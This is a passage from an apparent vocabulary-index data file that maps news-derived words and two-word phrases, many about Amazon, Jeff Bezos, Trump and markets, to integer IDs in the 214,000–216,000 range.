214894, "charity": 214895, "constantly working": 214896, "micromax": 214897, "sharlee jeter": 214898, "immigrants animals": 214899, "kim trump": 214900, "left trump": 214901, "164 member": 214902, "editorially": 214903, "trump inconsistent": 214904, "information presented": 214905, "urged usps": 214906, "online site": 214907, "tech services": 214908, "send box": 214909, "indexes closing": 214910, "trevor belmont": 214911, "subsidiary finally": 214912, "professor says": 214913, "bezos makes": 214914, "quarter especially": 214915, "cheering ecstasy": 214916, "tank writer": 214917, "helicopter landing": 214918, "bizarre phenomena": 214919, "miller redsteeze": 214920, "tensor cores": 214921, "suggests individual": 214922, "nyse cbs": 214923, "marketing opportunities": 214924, "couple weeks": 214925, "program used": 214926, "jittery": 214927, "christmas tree": 214928, "sequels china": 214929, "debacle amazon": 214930, "address amazon": 214931, "innocent people": 214932, "frameworks doctors": 214933, "collect monument": 214934, "striking deals": 214935, "embed alongside": 214936, "leave courtesy": 214937, "company level": 214938, "evan siegfried": 214939, "systems processes": 214940, "timely": 214941, "president blasts": 214942, "travel": 214943, "world sell": 214944, "mexico congress": 214945, "lawsuit meritless": 214946, "effectively acknowledging": 214947, "raises cannabis": 214948, "royalty easy": 214949, "ricketts": 214950, "prudent calculation": 214951, "secret fling": 214952, "nikes": 214953, "twitter jihad": 214954, "seat filler": 214955, "inconvenient social": 214956, "expected quarterly": 214957, "military order": 214958, "upfront second": 214959, "transformer toy": 214960, "notably walmart": 214961, "stop cyberespionage": 214962, "daniels": 214963, "market claimed": 214964, "single options": 214965, "record thanks": 214966, "issued final": 214967, "reports weren": 214968, "amongjustice": 214969, "andr\u00e9": 214970, "aggressive": 214971, "bohemian": 214972, "new attack": 214973, "ring unrestricted": 214974, "story frankly": 214975, "swampier": 214976, "large technology": 214977, "twin hq2s": 214978, "andrew adams": 214979, "wisconsin state": 214980, "additional categories": 214981, "voters choose": 214982, "2023 following": 214983, "chambers": 214984, "reciprocal": 214985, "viral medium": 214986, "links": 214987, "american elections": 214988, "absurd cronyism": 214989, "2ftopnews 28news": 214990, "raising pay": 214991, "microsoft chief": 214992, "upcoming releases": 214993, "vuitton brand": 214994, "nonretailing": 214995, "pepe": 214996, "goading": 214997, "story want": 214998, "reappraises": 214999, "goods trade": 215000, "mile packages": 215001, "send inquired": 215002, "caller published": 215003, "balancing services": 215004, "tech brethren": 215005, "america primary": 215006, "hilarious best": 215007, "widely derided": 215008, "becker days": 215009, "personal cars": 215010, "afternoon white": 215011, "reach need": 215012, "group stonewall": 215013, "survey jolts": 215014, "men socks": 215015, "marginally": 215016, "free cpr": 215017, "outlet attributes": 215018, "related read": 215019, "trek scenes": 215020, "right hand": 215021, "provides day": 215022, "culpa": 215023, "personal crises": 215024, "green traffic": 215025, "eighteen months": 215026, "grist": 215027, "adores lindsey": 215028, "approximate market": 215029, "services directly": 215030, "business power": 215031, "enquirer recent": 215032, "company increasing": 215033, "reunited illegal": 215034, "switzerland cow": 215035, "punchline": 215036, "defense theme": 215037, "send monumental": 215038, "banned big": 215039, "superior": 215040, "firm pays": 215041, "sxsw festival": 215042, "companies paid": 215043, "facebook face": 215044, "laymon": 215045, "lions": 215046, "difference chukumba": 215047, "jo\u0119nia wapichana": 215048, "aclu org": 215049, "lawyer felix": 215050, "data drives": 215051, "leadership spot": 215052, "government gardner": 215053, "classic king": 215054, "dundas": 215055, "business outside": 215056, "salesman john": 215057, "heavily favoring": 215058, "delivering profits": 215059, "withdrawing": 215060, "1520251200 according": 215061, "representative did": 215062, "ranks": 215063, "bring things": 215064, "ankle bore": 215065, "completely robotic": 215066, "simmer": 215067, "company include": 215068, "rxsjwxih7h": 215069, "broad stock": 215070, "breathtaking": 215071, "times documented": 215072, "milutinovic gulftimes": 215073, "makes 1500": 215074, "perfection blackkklansman": 215075, "certain news": 215076, "home google": 215077, "protrump tabloid": 215078, "prehensileman": 215079, "glitches": 215080, "store charlie": 215081, "lonely millennial": 215082, "brands including": 215083, "barria": 215084, "federal news": 215085, "helped drive": 215086, "geekwire photos": 215087, "44871788": 215088, "exhale": 215089, "fba account": 215090, "aggregate net": 215091, "olympic gold": 215092, "gives pro": 215093, "stop referring": 215094, "mcdougall": 215095, "pound sign": 215096, "amazon refund": 215097, "fiscal woes": 215098, "lived rent": 215099, "cloud defense": 215100, "tariff increases": 215101, "fine univision": 215102, "separately minneapolis": 215103, "oncologists say": 215104, "say companies": 215105, "knife deep": 215106, "getting richer": 215107, "breathes": 215108, "trending geraldo": 215109, "pluto tv": 215110, "pay stubs": 215111, "holdings hbk": 215112, "company fourth": 215113, "restored": 215114, "details allegations": 215115, "sweet deal": 215116, "merchants hosted": 215117, "interpretation prevented": 215118, "rentevaste": 215119, "democratic primary": 215120, "750 football": 215121, "seeing especially": 215122, "terrorist threat": 215123, "tight": 215124, "meets north": 215125, "reform agenda": 215126, "cabinet nikki": 215127, "protein data": 215128, "brainwashed": 215129, "stonesifer nooyi": 215130, "lyft announced": 215131, "launch amazon": 215132, "editor dylan": 215133, "post longtime": 215134, "authoritarian": 215135, "trump republicanism": 215136, "gao": 215137, "enact": 215138, "business machines": 215139, "d2c sales": 215140, "tweeted person": 215141, "company crushes": 215142, "trump best": 215143, "2017 say": 215144, "krugman noted": 215145, "amazon supposedly": 215146, "travelers novel": 215147, "covers given": 215148, "mexico earning": 215149, "mind headlineposttext": 215150, "ramsay scathing": 215151, "toddler jeffrey": 215152, "rare need": 215153, "randomly sent": 215154, "different considerations": 215155, "investing total": 215156, "nick payne": 215157, "war usa": 215158, "reputable national": 215159, "animal spirits": 215160, "amazon wanted": 215161, "new warehouse": 215162, "seeking medicare": 215163, "foot wall": 215164, "25thamendment discussion": 215165, "called": 215166, "harassed women": 215167, "skeptic": 215168, "make headway": 215169, "i1 function": 215170, "city near": 215171, "did cite": 215172, "bezos writes": 215173, "operators offers": 215174, "time going": 215175, "chip earnings": 215176, "highsmith boyne": 215177, "mcnicoll": 215178, "roma": 215179, "builds sprawling": 215180, "drug stocks": 215181, "900 words": 215182, "nations framework": 215183, "radicalized": 215184, "premier news": 215185, "adversity": 215186, "animal torture": 215187, "audience applaud": 215188, "walgreen": 215189, "inflict painful": 215190, "sum nearly": 215191, "scuttle": 215192, "tax bills": 215193, "weeknights": 215194, "amazon slides": 215195, "smartsheet wsgr": 215196, "regarding watergate": 215197, "tomorrow breakthrough": 215198, "tweet adopted": 215199, "protections implemented": 215200, "probably view": 215201, "dismissive": 215202, "hosts second": 215203, "firearm": 215204, "wildlife needs": 215205, "trevor noah": 215206, "repercussions nonchalantly": 215207, "2018 het": 215208, "undercut competition": 215209, "writer hillel": 215210, "abc says": 215211, "mythology": 215212, "agent san": 215213, "electronics products": 215214, "start collecting": 215215, "deal living": 215216, "deem": 215217, "enable ai": 215218, "media economy": 215219, "yglesias": 215220, "slouch": 215221, "summit dnc": 215222, "custodial work": 215223, "conn received": 215224, "worth montgomery": 215225, "tia": 215226, "pressed": 215227, "trademarks sparks": 215228, "president decision": 215229, "publicly announced": 215230, "ominous": 215231, "increasing industry": 215232, "netflix similarly": 215233, "morgan": 215234, "eli lilly": 215235, "brazilian plans": 215236, "bay terrace": 215237, "occupied": 215238, "searching mail": 215239, "445 heavy": 215240, "ruth highs": 215241, "promised voters": 215242, "entertain": 215243, "border visit": 215244, "somebody press": 215245, "kimball won": 215246, "success bezos": 215247, "companies lift": 215248, "industry advocates": 215249, "html": 215250, "whoopi goldberg": 215251, "previously does": 215252, "example citing": 215253, "perform maintenance": 215254, "sends users": 215255, "worldwide holdings": 215256, "measure directed": 215257, "presented repeated": 215258, "assemblyman": 215259, "trust religion": 215260, "copyright directive": 215261, "meme": 215262, "insttype": 215263, "app pre": 215264, "venezuela military": 215265, "1622 national": 215266, "gameon": 215267, "wires": 215268, "midterms georgia": 215269, "e721hynqb0": 215270, "countless cities": 215271, "positions hours": 215272, "takes technology": 215273, "trump incidentally": 215274, "qanon pro": 215275, "simone alexenko": 215276, "math environmental": 215277, "uses unfortunately": 215278, "published bezos": 215279, "news network": 215280, "owner apg": 215281, "amazon dialogue": 215282, "society elite": 215283, "amazon code": 215284, "2018 earnings": 215285, "spouses budding": 215286, "writes alex": 215287, "minted": 215288, "residences": 215289, "account number": 215290, "including mijente": 215291, "carlson": 215292, "timberwolves 108": 215293, "sources say": 215294, "hit market": 215295, "correctly false": 215296, "schmid general": 215297, "owners scott": 215298, "revolvers": 215299, "maclachlan kyle_maclachlan": 215300, "ways cities": 215301, "party primaries": 215302, "truck costs": 215303, "power north": 215304, "murderous intent": 215305, "trump embraces": 215306, "historic importance": 215307, "performance schedule": 215308, "flakedems best": 215309, "scheme unraveled": 215310, "senate republican": 215311, "unfolding local": 215312, "lorton": 215313, "firm ries": 215314, "allocating": 215315, "aspiring": 215316, "goods imported": 215317, "dr lee": 215318, "seconds new": 215319, "amazon getting": 215320, "dark portion": 215321, "headquarters deal": 215322, "undoubtedly push": 215323, "service hamstrung": 215324, "florida californians": 215325, "bezos yanked": 215326, "jr": 215327, "business journal": 215328, "jeff flakejeffrey": 215329, "lion hotels": 215330, "8211 opting": 215331, "stacy kerr": 215332, "bringing saudi": 215333, "politicians weigel": 215334, "wapo robert": 215335, "took hold": 215336, "social structure": 215337, "dominant digital": 215338, "sputniknews": 215339, "ditches new": 215340, "purchased time": 215341, "brands stock": 215342, "mentor darkest": 215343, "foxconn did": 215344, "sanders started": 215345, "cuomo exactly": 215346, "1540500741": 215347, "gop protecting": 215348, "jesus christ": 215349, "raising costs": 215350, "amobi": 215351, "brussels": 215352, "maybe meaningful": 215353, "competition amazon": 215354, "gov media": 215355, "private express": 215356, "trump home": 215357, "explicit connections": 215358, "attorneys argue": 215359, "torel told": 215360, "chessy prout": 215361, "model credited": 215362, "office increase": 215363, "sinclair executive": 215364, "related amazon": 215365, "maven microsoft": 215366, "toy maker": 215367, "favoured": 215368, "financial firm": 215369, "decelerating": 215370, "forming sort": 215371, "sizes 183": 215372, "practical purposes": 215373, "area locally": 215374, "eruption minute": 215375, "angeles based": 215376, "reloaded steak": 215377, "typically": 215378, "european enterprise": 215379, "apart carving": 215380, "malmstr\u00f6m": 215381, "brian tanquilut": 215382, "level president": 215383, "commerce corporation": 215384, "fictional": 215385, "original business": 215386, "chris vernon": 215387, "crossover": 215388, "amazon gold": 215389, "sneaker": 215390, "yielding investments": 215391, "core markets": 215392, "today think": 215393, "liberties including": 215394, "product modeled": 215395, "sudan web": 215396, "jackbeattynpr": 215397, "market unemployment": 215398, "unabashedly": 215399, "bar denali": 215400, "running business": 215401, "analysis capabilities": 215402, "recruits": 215403, "leave initiative": 215404, "unprecedented including": 215405, "members wrote": 215406, "wework amid": 215407, "new ba": 215408, "counter amazon": 215409, "concise": 215410, "results": 215411, "virginia values": 215412, "max boot": 215413, "definitely stay": 215414, "candidate lobbed": 215415, "habila": 215416, "halloween actress": 215417, "kesel writes": 215418, "nov 2017steve": 215419, "dissidents": 215420, "committee ripped": 215421, "pay long": 215422, "bail criminal": 215423, "reported security": 215424, "blackkklansman": 215425, "mobile solutions": 215426, "323 shares": 215427, "discriminatory behavior": 215428, "fight homelessness": 215429, "interpret": 215430, "transparent stormy": 215431, "purposely planted": 215432, "enquirer sure": 215433, "govcloud eu": 215434, "numerous people": 215435, "vegetables anti": 215436, "authority ofcongress": 215437, "maintenance": 215438, "oracle lodged": 215439, "providing guarantee": 215440, "fabulous laugh": 215441, "practice inspires": 215442, "andrew jackson": 215443, "questions imaginable": 215444, "600 executives": 215445, "account information": 215446, "texting mind": 215447, "dinner dates": 215448, "widens": 215449, "question bernie": 215450, "reached tentative": 215451, "kb4134661": 215452, "appoint": 215453, "reportedly chosen": 215454, "offering downloads": 215455, "result bezos": 215456, "omelchenko": 215457, "subsidies john": 215458, "monosodium glutamate": 215459, "controversial facial": 215460, "community going": 215461, "send text": 215462, "building outside": 215463, "uptake ceo": 215464, "innocent baby": 215465, "kabir le": 215466, "postings": 215467, "eu pressure": 215468, "hotseat forever": 215469, "invented alternative": 215470, "month putnam": 215471, "helped launch": 215472, "included": 215473, "actions fast": 215474, "owned grocery": 215475, "murals": 215476, "used transfer": 215477, "needling amazon": 215478, "cath\u00e9drale": 215479, "uplifting day": 215480, "states tripping": 215481, "political impact": 215482, "era push": 215483, "company cancels": 215484, "ultrasonic pulses": 215485, "academic transcript": 215486, "jockey": 215487, "ontario outside": 215488, "later spread": 215489, "blow involves": 215490, "dale carnegie": 215491, "adopt budget": 215492, "making profits": 215493, "peter kafka": 215494, "quantum": 215495, "gmt cigarette": 215496, "gold 322": 215497, "skeptical": 215498, "young tech": 215499, "merger referring": 215500, "individual sellers": 215501, "ads supporting": 215502, "expected guidance": 215503, "advantage right": 215504, "average fell": 215505, "immense opportunities": 215506, "site shows": 215507, "lets individual": 215508, "reporter just": 215509, "mushy": 215510, "hasn heard": 215511, "competing brick": 215512, "decisions alas": 215513, "window cnnvideoapiloadcompletehandlers": 215514, "mabinty quarshie": 215515, "yardini": 215516, "dream": 215517, "trump ridiculed": 215518, "new statement": 215519, "gms growth": 215520, "50x50": 215521, "abetted": 215522, "country launch": 215523, "panel leadership": 215524, "privately owns": 215525, "slogan outraged": 215526, "late apple": 215527, "town elected": 215528, "foxconn billionaire": 215529, "racism venezuela": 215530, "hicks love": 215531, "promptly called": 215532, "cars executives": 215533, "little sympathy": 215534, "getting home": 215535, "subsidies": 215536, "escalates war": 215537, "wright": 215538, "workplace wanted": 215539, "company beats": 215540, "silk": 215541, "lost track": 215542, "retailers say": 215543, "conqueror leviathan": 215544, "federal financing": 215545, "amazon dear": 215546, "fund communities": 215547, "discipline": 215548, "leading ngo": 215549, "expenses surged": 215550, "biggest blue": 215551, "chester facility": 215552, "plant reuters": 215553, "retailer market": 215554, "investigation ag": 215555, "dispel long": 215556, "fondle": 215557, "201923": 215558, "year consumers": 215559, "aaron kesel": 215560, "protesters gathered": 215561, "richard branson": 215562, "commit": 215563, "iton aug": 215564, "women chamber": 215565, "drive action": 215566, "overnight ap": 215567, "snowtown murders": 215568, "happening bezos": 215569, "739": 215570, "jsink1 bloomberg": 215571, "loophole mother": 215572, "million contrast": 215573, "grocery orders": 215574, "washed ashore": 215575, "players inexplicably": 215576, "street reporting": 215577, "twitter jabs": 215578, "hq2 sites": 215579, "grandiosity": 215580, "wire primaryfilelocation": 215581, "fuel surge": 215582, "dies life": 215583, "demand new": 215584, "obert myrtlebound18": 215585, "mishap falls": 215586, "car drive": 215587, "getting cash": 215588, "services led": 215589, "better regulated": 215590, "america pressing": 215591, "closely aligned": 215592, "megamillions": 215593, "weed killer": 215594, "eat real": 215595, "baffled": 215596, "yoru favorite": 215597, "hq2 everybody": 215598, "current reports": 215599, "brennan accuses": 215600, "tendencies department": 215601, "argued raising": 215602, "voice shopping": 215603, "giving rise": 215604, "sending shudder": 215605, "unsustainable enterprise": 215606, "government carry": 215607, "facility lies": 215608, "dramatically alter": 215609, "presently highlighting": 215610, "government trait": 215611, "investor training": 215612, "steve bellone": 215613, "amazon generally": 215614, "retail abg": 215615, "pecker threatened": 215616, "addalyn": 215617, "ne queens": 215618, "hollywood opponents": 215619, "ferrera": 215620, "worth topping": 215621, "rewards bs_link": 215622, "center alley": 215623, "post trust": 215624, "foto sourcefilene": 215625, "memorizes": 215626, "storage capacity": 215627, "time share": 215628, "tower congress": 215629, "monopoly weird": 215630, "sponsorship": 215631, "kessler provides": 215632, "story frame": 215633, "companies compare": 215634, "absolutely fascinating": 215635, "just rich": 215636, "added jones": 215637, "whaling ships": 215638, "students look": 215639, "really competitive": 215640, "cte": 215641, "bezos met": 215642, "amazon aims": 215643, "soon make": 215644, "fell yesterday": 215645, "pledging billion": 215646, "facebook tsla": 215647, "stock edging": 215648, "recruiting american": 215649, "desperation alexandria": 215650, "corby kummer": 215651, "different approach": 215652, "jenn": 215653, "headlines carley": 215654, "revelation amazon": 215655, "red stamp": 215656, "popsicle": 215657, "frieda": 215658, "president group": 215659, "dorm rooms": 215660, "saying sent": 215661, "remains confidential": 215662, "popular music": 215663, "sosnoff": 215664, "amazon provides": 215665, "understatement": 215666, "massive firm": 215667, "compel various": 215668, "larger businesses": 215669, "wyunhjjujg": 215670, "carell appeared": 215671, "avid": 215672, "pilfering intellectual": 215673, "company profitable": 215674, "seattle chosen": 215675, "devised strategies": 215676, "deadly viral": 215677, "760": 215678, "inside story": 215679, "staunchest": 215680, "media focused": 215681, "technocrats totalitarianism": 215682, "scrutiny": 215683, "stop assisting": 215684, "just tweeted": 215685, "bewilliams": 215686, "administration rep": 215687, "inconsistent unlike": 215688, "shift production": 215689, "women western": 215690, "iser": 215691, "quarter ended": 215692, "alongside additional": 215693, "activist involvement": 215694, "jsink1": 215695, "future join": 215696, "booboo nyc": 215697, "low taxation": 215698, "meeting periodically": 215699, "government cl\u00f3vis": 215700, "targets": 215701, "year review": 215702, "vipers": 215703, "user experience": 215704, "economy ignore": 215705, "284x160": 215706, "especially technology": 215707, "500 billion": 215708, "amazon spent": 215709, "semi traveling": 215710, "term metal": 215711, "heinz ferrari": 215712, "industry dorsey": 215713, "designated near": 215714, "amendment protections": 215715, "talks starbucks": 215716, "recycling": 215717, "polarising power": 215718, "rentseeking html": 215719, "outstretched": 215720, "dashes": 215721, "fought beauty": 215722, "bureaucrats": 215723, "lather": 215724, "gilchrist": 215725, "help mitigate": 215726, "isn public": 215727, "attackers consisted": 215728, "pricing handgun": 215729, "spec better": 215730, "lower ending": 215731, "stop investigating": 215732, "155x90 uploaded_files": 215733, "cohost": 215734, "heidi ran": 215735, "marty says": 215736, "creating fake": 215737, "shea president": 215738, "tensions escalated": 215739, "ceo devin": 215740, "figure null": 215741, "corporations contribute": 215742, "youtube spotify": 215743, "new comments": 215744, "vn 030": 215745, "people lot": 215746, "massive theft": 215747, "known reasons": 215748, "categorically denied": 215749, "accountant": 215750, "2016 china": 215751, "r40": 215752, "inspired mccann": 215753, "standing israeli": 215754, "notes media": 215755, "american sweat": 215756, "existing home": 215757, "representatives told": 215758, "withdraw white": 215759, "prime accounts": 215760, "anchor pay": 215761, "allow commercial": 215762, "wasn life": 215763, "giant heart": 215764, "trillion according": 215765, "low nfib": 215766, "commerce platform": 215767, "overall lower": 215768, "largest franchise": 215769, "activist john": 215770, "book called": 215771, "stt": 215772, "quarter profit": 215773, "hazards weather": 215774, "creating wealth": 215775, "called catch": 215776, "fairly optimistic": 215777, "democrats sought": 215778, "murder victim": 215779, "government funding": 215780, "retrospective questions": 215781, "1161 bought": 215782, "kong banking": 215783, "close rikers": 215784, "rearing": 215785, "released list": 215786, "prime symbiotically": 215787, "state millions": 215788, "nashville valedictorian": 215789, "multiple retail": 215790, "minimum fuss": 215791, "obama annual": 215792, "hosts wide": 215793, "say imagine": 215794, "nike stock": 215795, "essays illustrate": 215796, "442": 215797, "launch campaign": 215798, "conflicts happening": 215799, "feed right": 215800, "allows veterans": 215801, "giant helium": 215802, "sentiment swinging": 215803, "building amazon": 215804, "korea developing": 215805, "article killing": 215806, "choked silicon": 215807, "market doesn": 215808, "good partners": 215809, "nys department": 215810, "videoid politics": 215811, "left cooper": 215812, "jdawsey1": 215813, "poll congress": 215814, "demanding higher": 215815, "really proud": 215816, "single servings": 215817, "amazonis pulling": 215818, "music apple": 215819, "check bezos": 215820, "device chief": 215821, "blood boiling": 215822, "chief climate": 215823, "ryan publisher": 215824, "964": 215825, "football series": 215826, "veterans park": 215827, "entities pen": 215828, "journalist involved": 215829, "roughly decade": 215830, "averages cut": 215831, "council madrona": 215832, "media sites": 215833, "rapid change": 215834, "trump evidently": 215835, "fulfillment": 215836, "weather amazon": 215837, "contributor jul": 215838, "added tell": 215839, "group cocktail": 215840, "michael cole": 215841, "inflatable solar": 215842, "service explained": 215843, "2018 revenue": 215844, "mega trend": 215845, "playbook trump": 215846, "science": 215847, "azzopardi": 215848, "government cloud": 215849, "posted massive": 215850, "sanchez roger": 215851, "suspected effort": 215852, "darrel cronk": 215853, "sultry": 215854, "photo mark": 215855, "hrh": 215856, "office near": 215857, "camp wildfire": 215858, "bloomberg nvidia": 215859, "service common": 215860, "analyst brit": 215861, "delaying decisions": 215862, "united technologies": 215863, "trump whitaker": 215864, "relationship parents": 215865, "investment adviser": 215866, "alienated": 215867, "products slated": 215868, "faring according": 215869, "law assemblywoman": 215870, "zach vest": 215871, "nicolas winding": 215872, "amazon feathers": 215873, "stagnant state": 215874, "president playing": 215875, "housing prices": 215876, "liedtke reported": 215877, "backroom swamp": 215878, "different tax": 215879, "rakuten intelligence": 215880, "bush talks": 215881, "photos foxconn": 215882, "high hurdles": 215883, "warner merger": 215884, "unleash": 215885, "wealthy foreign": 215886, "needs quorum": 215887, "crazier": 215888, "door": 215889, "free ellis": 215890, "title videocardcontents": 215891, "minister state": 215892, "warned observat\u00f3rio": 215893, "moral issue": 215894, "constitution based": 215895, "underestimated": 215896, "judge eric": 215897, "talk geekwire": 215898, "approaches home": 215899, "known tax": 215900, "latest episode": 215901, "manufacturing prowess": 215902, "median annual": 215903, "fear bask": 215904, "states 4e": 215905, "spicer describes": 215906, "shopper visits": 215907, "s\u00e1nchez received": 215908, "ultimately push": 215909, "cases lawmakers": 215910, "compromise government": 215911, "create super": 215912, "carte blanche": 215913, "health according": 215914, "democrats figures": 215915, "ground trump": 215916, "google googl": 215917, "meet privately": 215918, "messages allegedly": 215919, "dividend growth": 215920, "officials typically": 215921, "economists predict": 215922, "praises": 215923, "simon lewis": 215924, "change course": 215925, "fbi russia": 215926, "starvation": 215927, "openings posted": 215928, "outpacing": 215929, "assumptions": 215930, "sold total": 215931, "sandler cap": 215932, "airlifted": 215933, "regarding workplace": 215934, "cessation earlier": 215935, "unemployment benefits": 215936, "happy labor": 215937, "unsettling": 215938, "phoebe siegler": 215939, "employ dedicated": 215940, "martinez revealed": 215941, "rights gutting": 215942, "lirr": 215943, "hatchet job": 215944, "officer summit": 215945, "information provided": 215946, "says globally": 215947, "alexa black": 215948, "free hard": 215949, "explore different": 215950, "contains larger": 215951, "circling": 215952, "bolsonaro declared": 215953, "dovish turn": 215954, "title suggests": 215955, "bezos attended": 215956, "ailing": 215957, "called postal": 215958, "inspect delivery": 215959, "613 000": 215960, "government usps": 215961, "message heart": 215962, "summit": 215963, "shooting near": 215964, "secret payment": 215965, "revised rate": 215966, "combat climate": 215967, "baron seeks": 215968, "time lauded": 215969, "osgood site": 215970, "labor contract": 215971, "relationship management": 215972, "oddsshark": 215973, "google alphabet": 215974, "grocery ordering": 215975, "fluoride psychiatric": 215976, "delays state": 215977, "trump tapes": 215978, "hour investing": 215979, "galleries replay": 215980, "round wraps": 215981, "mysteriously": 215982, "nokia x5": 215983, "talks appear": 215984, "masters degree": 215985, "amy adams": 215986, "casing": 215987, "disorder mccain": 215988, "merchandised search": 215989, "2000 including": 215990, "infant products": 215991, "growth long": 215992, "2020 believe": 215993, "denied sending": 215994, "critics lois": 215995, "fair salaries": 215996, "holiday black": 215997, "demonstrating today": 215998, "platform etsy": 215999, "breathing human": 216000, "obsess": 216001, "moore essay": 216002, "withdraw tariffs": 216003, "brazil new": 216004, "person don": 216005, "sinister": 216006, "nation state": 216007, "valicenti": 216008, "skirted questions": 216009, "result bloomberg": 216010, "better neighbors": 216011, "tweets making": 216012, "sustained complaint": 216013, "books people": 216014, "kirsten dunst": 216015, "sends dodd": 216016, "progress translates": 216017, "week passed": 216018, "boys alice": 216019, "epstein": 216020, "jacobsen": 216021, "veterans": 216022, "uses faa": 216023, "confirms amazon": 216024, "42am twins": 216025, "pence chief": 216026, "probably figured": 216027, "biggest deal": 216028, "amazon invitation": 216029, "guidance following": 216030, "vitriolic": 216031, "1062136011159994368": 216032, "republican political": 216033, "real disaster": 216034, "marks great": 216035, "crimes trump": 216036, "china tech": 216037, "cheaper power": 216038, "barracoon published": 216039, "senate debate": 216040, "president family": 216041, "throwaway comments": 216042, "negative reports": 216043, "investment advisers": 216044, "806 later": 216045, "glancy prongay": 216046, "notechforice pic": 216047, "personal investigators": 216048, "christian values": 216049, "naming rights": 216050, "share easily": 216051, "build brisk": 216052, "wrote stone": 216053, "giant picked": 216054, "term implications": 216055, "physical properties": 216056, "invasion court": 216057, "finance consumers": 216058, "construct headquarters": 216059, "royal pardon": 216060, "victory lap": 216061, "engage michael": 216062, "ending letter": 216063, "department spokeswoman": 216064, "base populist": 216065, "better products": 216066, "plans grateful": 216067, "added president": 216068, "scrutinized bezos": 216069, "tension hamas": 216070, "victim authorizes": 216071, "aggressive increase": 216072, "florida posted": 216073, "tabloid did": 216074, "hawking usb": 216075, "fsjnqbggvs": 216076, "security trump": 216077, "hasn announced": 216078, "overhauling": 216079, "care unfortunately": 216080, "shooting hogg": 216081, "noise capital": 216082, "2011 protest": 216083, "bush took": 216084, "defined universal": 216085, "code dealsub": 216086, "inched higher": 216087, "swayed": 216088, "stronger dollar": 216089, "debated asking": 216090, "planned campus": 216091, "mexico presidential": 216092, "mailing expenses": 216093, "currentvidobj currentvideocollection": 216094, "2b": 216095, "media rod": 216096, "unloading": 216097, "risky": 216098, "cosmos": 216099, "iaas": 216100, "billionaire success": 216101, "howell raines": 216102, "healthcare ambitions": 216103, "making ibm": 216104, "senior market": 216105, "scientists program": 216106, "fairholme": 216107, "people tobias": 216108, "major milestone": 216109, "magic erin": 216110, "2010 obama": 216111, "parents tried": 216112, "politics forests": 216113, "madea": 216114, "vonn": 216115, "shalala doris": 216116, "offered simple": 216117, "630 wmal": 216118, "tariffs just": 216119, "nondisclosure agreement": 216120, "hike tariffs": 216121, "taking jabs": 216122, "started foreclosure": 216123, "manufactured": 216124, "2018 update": 216125, "share new": 216126, "good morning": 216127, "key issue": 216128, "floor plan": 216129, "contributor lisa": 216130, "homes ceo": 216131, "competitive categories": 216132, "filed": 216133, "representing construction": 216134, "soar premarket": 216135, "keely": 216136, "list figure": 216137, "dirty trickster": 216138, "valley mentality": 216139, "couldn proceed": 216140, "mark frei": 216141, "crouch told": 216142, "search result": 216143, "robert mnuchin": 216144, "case instead": 216145, "new hard": 216146, "fathered": 216147, "pay forfederal": 216148, "life india": 216149, "trump rarely": 216150, "seizure cbs": 216151, "best picture": 216152, "endorsement catch": 216153, "kearns goodwin": 216154, "edge tax": 216155, "2019 time": 216156, "amazing": 216157, "mounce": 216158, "dovetail": 216159, "offers long": 216160, "targeted trump": 216161, "year valentine": 216162, "players including": 216163, "living paycheck": 216164, "convicted crooked": 216165, "survived scandalous": 216166, "amira eltahir": 216167, "presiding": 216168, "center cbs": 216169, "true condition": 216170, "decided late": 216171, "000 twitter": 216172, "ignores": 216173, "market overnight": 216174, "stories critical": 216175, "additional inmates": 216176, "claims fell": 216177, "hoped jeffries": 216178, "fraud law": 216179, "toddwine": 216180, "article reported": 216181, "gannon sent": 216182, "delilah": 216183, "bust": 216184, "technology saying": 216185, "daily star": 216186, "worth cleaning": 216187, "daniel radcliffe": 216188, "comedy tells": 216189, "misspellings": 216190, "postmates walmart": 216191, "foundation journalism": 216192, "coverage visit": 216193, "close amazon": 216194, "added scrutiny": 216195, "designates": 216196, "betsy": 216197, "lobbied unsuccessfully": 216198, "siemens usa": 216199, "watch cigar": 216200, "bezos criticism": 216201, "u003ca": 216202, "interests demographics": 216203, "technically facts": 216204, "monitor mandate": 216205, "240": 216206, "journalist james": 216207, "communications platform": 216208, "unseated trump": 216209, "message coronary": 216210, "kohl features": 216211, "satellites": 216212, "nbc television": 216213, "taxed second": 216214, "clock hate": 216215, "pce average": 216216, "newest headquarters": 216217, "wsj refinitiv": 216218, "sounded equally": 216219, "understood god": 216220, "trial 2018": 216221, "owner manual": 216222, "expose fear": 216223, "ship prescriptions": 216224, "judges trump": 216225, "prohibits census": 216226, "oracle cloud": 216227, "karine souza": 216228, "socks louisiana": 216229, "evidence air": 216230, "keeping records": 216231, "consumer business": 216232, "office gawande": 216233, "enquirer target": 216234, "margetuximab dow": 216235, "bbc masterpiece": 216236, "8220 headquarterless": 216237, "billion new": 216238, "pennsylvania year": 216239, "company whopping": 216240, "people 303567": 216241, "desperate need": 216242, "year trade": 216243, "jimmy": 216244, "reauthorizing": 216245, "long running": 216246, "nationalistic campaign": 216247, "various things": 216248, "void": 216249, "enquirer told": 216250, "domestically focused": 216251, "twitter taunts": 216252, "organizers agitators": 216253, "wild animals": 216254, "leaders president": 216255, "owed hell": 216256, "issue potentially": 216257, "increasingly wiring": 216258, "market fedex": 216259, "commentator writer": 216260, "roughly trillion": 216261, "mortar": 216262, "remove trump": 216263, "restore american": 216264, "largest rainforest": 216265, "declared gary": 216266, "clogged": 216267, "maryland state": 216268, "inroads": 216269, "antitrust proceedings": 216270, "buy gold": 216271, "hollywood california": 216272, "wholly sworn": 216273, "c0 l2": 216274, "terrorist": 216275, "marketplace grows": 216276, "matches coming": 216277, "phillip hammond": 216278, "personal details": 216279, "121 airline": 216280, "sensitive year": 216281, "mara": 216282, "promises liuna": 216283, "gmb spokesman": 216284, "new taxes": 216285, "chicago stand": 216286, "130 new": 216287, "pressure": 216288, "dock": 216289, "xetd5fpjfz brit": 216290, "market chatter": 216291, "prevent agents": 216292, "banco scoop": 216293, "biggest corporations": 216294, "comfortably": 216295, "controversial reassessment": 216296, "led mob": 216297, "jim ross": 216298, "upstart": 216299, "hurt apple": 216300, "alan sold": 216301, "pretty soon": 216302, "larger portion": 216303, "president erdogan": 216304, "openmic": 216305, "grocery chains": 216306, "liquids": 216307, "turnaround ambitions": 216308, "exceeding": 216309, "merchant doesn": 216310, "package available": 216311, "bar whatsapp": 216312, "prada": 216313, "prime services": 216314, "met whew": 216315, "force online": 216316, "loved brand": 216317, "enact crushing": 216318, "xi meeting": 216319, "york according": 216320, "amap\u00e1 state": 216321, "treat inmates": 216322, "drugs delivering": 216323, "wing despite": 216324, "loafers": 216325, "needs hate": 